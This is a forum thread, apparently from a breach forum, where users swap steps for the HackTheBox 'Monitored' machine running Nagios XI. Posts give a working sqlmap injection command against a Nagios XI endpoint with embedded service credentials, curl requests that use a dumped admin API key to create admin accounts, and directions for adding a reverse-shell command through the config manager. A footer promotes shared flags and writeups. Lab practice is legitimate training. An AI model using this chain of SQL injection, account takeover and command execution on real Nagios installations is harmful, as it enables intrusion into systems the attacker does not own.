Monitored - HTB
by paven - Saturday January 13, 2024 at 12:13 PM
#41
(Jan 14, 2024, 07:28 AM)yonigga Wrote: get the admin api_key which you have in xi_users in sqlmap to add new user with admin privilege --> login with the created user with admin privileges, add cmd --> rev shell, gg

how can i add new user? should i use curl?
Reply
#42
(Jan 14, 2024, 07:28 AM)yonigga Wrote: get the admin api_key which you have in xi_users in sqlmap to add new user with admin privilege --> login with the created user with admin privileges, add cmd --> rev shell, gg

curl -k -X POST -H "Authorization: Bearer IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL" -H "Content-Type: application/json" -d '{"username": "test", "abcd": "abcd"}' https://nagios.monitored.htb/nagiosxi/api/v1/users
{"error":"No API Key provided"}

but not working

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Scraping | Contact us via https://breachforums.rs/misc.php?action=help&hid=27 if you feel this is incorrect.
Reply
#43
(Jan 14, 2024, 07:59 AM)godzilla Wrote:
(Jan 14, 2024, 07:28 AM)yonigga Wrote: get the admin api_key which you have in xi_users in sqlmap to add new user with admin privilege --> login with the created user with admin privileges, add cmd --> rev shell, gg

curl -k -X POST -H "Authorization: Bearer IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL" -H "Content-Type: application/json" -d '{"username": "test", "abcd": "abcd"}' https://nagios.monitored.htb/nagiosxi/api/v1/users
{"error":"No API Key provided"}

but not working

i added the new user with this command

curl -XPOST --insecure "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=myadmin&password=myadmin&name=myadmin&email=myadmin@LocalHost&auth_level=admin"
Reply
#44
(Jan 14, 2024, 07:28 AM)yonigga Wrote: get the admin api_key which you have in xi_users in sqlmap to add new user with admin privilege --> login with the created user with admin privileges, add cmd --> rev shell, gg

I can add users, how do you add them as admins? I've tried a few parameter with no luck
Reply
#45
(Jan 14, 2024, 08:14 AM)wardensec Wrote:
(Jan 14, 2024, 07:28 AM)yonigga Wrote: get the admin api_key which you have in xi_users in sqlmap to add new user with admin privilege --> login with the created user with admin privileges, add cmd --> rev shell, gg

I can add users, how do you add them as admins? I've tried a few parameter with no luck

add admin user like this

curl -X POST "http://{IP}/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=test&password=test&name=test&email=test@LocalHost&auth_level=admin"
Reply
#46
I got a admin user, but how can i add a revshell?
Reply
#47
(Jan 14, 2024, 08:25 AM)ohmical Wrote:
(Jan 14, 2024, 08:14 AM)wardensec Wrote:
(Jan 14, 2024, 07:28 AM)yonigga Wrote: get the admin api_key which you have in xi_users in sqlmap to add new user with admin privilege --> login with the created user with admin privileges, add cmd --> rev shell, gg

I can add users, how do you add them as admins? I've tried a few parameter with no luck

add admin user like this

curl -X POST "http://{IP}/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=test&password=test&name=test&email=test@LocalHost&auth_level=admin"
how to get apikey?thank u
Reply
#48
(Jan 14, 2024, 08:27 AM)jyosun Wrote: I got a admin user, but how can i add a revshell?
Well login to the Nagios, use its interface? What about configuration menu point, if you're an admin user, you can access this.

Config manager, add new command and run it...

(Jan 14, 2024, 08:49 AM)St4rry Wrote: how to get apikey?thank u

That's what you get from the SQLi. You will get the API key. No need to crack the blowfish hashes you won't get any result either.

With that api key you will add new user (google this, there's an exact command) on nagios forum. Don't forget to create admin elevated user if you're creating, right? Otherwise what's the point...

And with that newly generated user login to the nagiosxi webui and use it, add new command such as a revshell and run it...
Reply
#49
(Jan 14, 2024, 05:34 AM)arrogant Wrote: glhf
sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=`curl -ksX POST https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=500" | awk -F'"' '{print$12}'`" --level 5 --risk 3 -p id --batch -D nagiosxi --dump

How did you find this endpoint 
https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=
Reply
#50
(Jan 14, 2024, 08:50 AM)peRd1 Wrote:
(Jan 14, 2024, 08:27 AM)jyosun Wrote: I got a admin user, but how can i add a revshell?
Well login to the Nagios, use its interface? What about configuration menu point, if you're an admin user, you can access this.

Config manager, add new command and run it...

(Jan 14, 2024, 08:49 AM)St4rry Wrote: how to get apikey?thank u

That's what you get from the SQLi. You will get the API key. No need to crack the blowfish hashes you won't get any result either.

With that api key you will add new user (google this, there's an exact command) on nagios forum. Don't forget to create admin elevated user if you're creating, right? Otherwise what's the point...

And with that newly generated user login to the nagiosxi webui and use it, add new command such as a revshell and run it...

Thank u.I am so stupid
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 605 92,977 1 hour ago
Last Post: jocefaliy
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 11 664 1 hour ago
Last Post: jocefaliy
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 29 2,890 1 hour ago
Last Post: 0x5k1z0
  [FREE] CPTS 12 FLAGS pulsebreaker 76 2,466 1 hour ago
Last Post: jocefaliy
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 379 93,958 1 hour ago
Last Post: unionstorm

Forum Jump:


 Users browsing this forum: 1 Guest(s)